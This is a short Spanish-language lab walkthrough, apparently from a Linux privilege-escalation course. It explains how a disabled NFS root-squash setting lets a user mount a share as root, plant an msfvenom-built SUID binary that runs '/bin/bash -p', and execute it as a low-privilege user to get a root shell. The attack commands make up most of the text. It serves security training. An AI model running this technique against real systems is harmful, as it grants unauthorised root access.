NFS
Los archivos creados a través de NFS heredan el ID del usuario remoto. Si el usuario es root y se ha habilitado la supresión de root, el ID se establecerá en el usuario "nobody".
Verifica la configuración del recurso compartido NFS en la VM de Debian:
cat /etc/exports
Observa que el recurso compartido /tmp tiene la supresión de root deshabilitada.
En tu máquina Kali, cambia al usuario root si aún no estás ejecutando como root:
sudo su
Usando el usuario root de Kali, crea un punto de montaje en tu máquina Kali y monta el recurso compartido /tmp (actualiza la IP según corresponda):
mkdir /tmp/nfs
mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs
Todavía usando el usuario root de Kali, genera un payload usando msfvenom y guárdalo en el recurso compartido montado (este payload simplemente llama a /bin/bash):
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
Todavía usando el usuario root de Kali, haz el archivo ejecutable y establece el permiso SUID:
chmod +xs /tmp/nfs/shell.elf
De regreso en la VM de Debian, como el usuario de bajo privilegio, ejecuta el archivo para obtener una shell de root:
/tmp/shell.elf
Recursos
Última actualización